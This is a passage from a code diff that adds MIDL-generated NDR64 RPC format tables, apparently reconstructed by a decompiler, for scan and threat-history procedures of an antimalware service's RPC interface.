(NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag294_t __midl_frag294 = +{ +/* Proc19_ServerMpScanCloseThreatHistory */ + { + /* Proc19_ServerMpScanCloseThreatHistory */ /* procedure Proc19_ServerMpScanCloseThreatHistory */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag288_t __midl_frag288 = +{ +/* union_1370 */ + { + /* union_1370 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag313, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1100, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag287_t __midl_frag287 = +{ +/* Struct_1382_t */ + { + /* Struct_1382_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1382_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag288 + }, + { + /* Struct_1382_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag286_t __midl_frag286 = +{ +/* *Struct_1382_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag287 +}; + +static const __midl_frag285_t __midl_frag285 = +{ +/* **Struct_1382_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag286 +}; + +static const __midl_frag283_t __midl_frag283 = +{ +/* Proc18_ServerMpScanEnumerateDetectionHistory */ + { + /* Proc18_ServerMpScanEnumerateDetectionHistory */ /* procedure Proc18_ServerMpScanEnumerateDetectionHistory */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag285, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag276_t __midl_frag276 = +{ +/* Proc17_ServerMpScanEnumerateThreatHistory */ + { + /* Proc17_ServerMpScanEnumerateThreatHistory */ /* procedure Proc17_ServerMpScanEnumerateThreatHistory */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1035, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag268_t __midl_frag268 = +{ +/* Proc16_ServerMpScanOpenThreatHistory */ + { + /* Proc16_ServerMpScanOpenThreatHistory */ /* procedure Proc16_ServerMpScanOpenThreatHistory */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1288, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag264_t __midl_frag264 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 3 /* 0x3 */ +}; + +static const __midl_frag263_t __midl_frag263 = +{ +/* *struct _NDR64_POINTER_FORMAT */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag264 +}; + +static const __midl_frag261_t __midl_frag261 = +{ +/* Proc15_ServerMpOnDemandThreatClose */ + { + /* Proc15_ServerMpOnDemandThreatClose */ /* procedure Proc15_ServerMpOnDemandThreatClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 96 /* 0x60 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag1140, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag264, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag253_t __midl_frag253 = +{ +/* Struct_1156_t */ + { + /* Struct_1156_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1156_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag252_t __midl_frag252 = +{ +/* *Struct_1156_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag253 +}; + +static const __midl_frag251_t __midl_frag251 = +{ +/* *Struct_110_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag60 +}; + +static const __midl_frag246_t __midl_frag246 = +{ +/* Struct_1118_t */ + { + /* Struct_1118_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1118_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 56 /* 0x38 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag245_t __midl_frag245 = +{ +/* *Struct_1118_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag246 +}; + +static const __midl_frag243_t __midl_frag243 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag242_t __midl_frag242 = +{ +/* union_1078 */ + { + /* union_1078 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag243, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 5 /* 0x5 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag245, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag252, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag241_t __midl_frag241 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag240_t __midl_frag240 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag238_t __midl_frag238 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* **Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag229 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* **Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag235 + } +}; + +static const __midl_frag236_t __midl_frag236 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 232 /* 0xe8 */ + } +}; + +static const __midl_frag235_t __midl_frag235 = +{ +/* **Struct_476_t */ + { + /* **Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag236 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 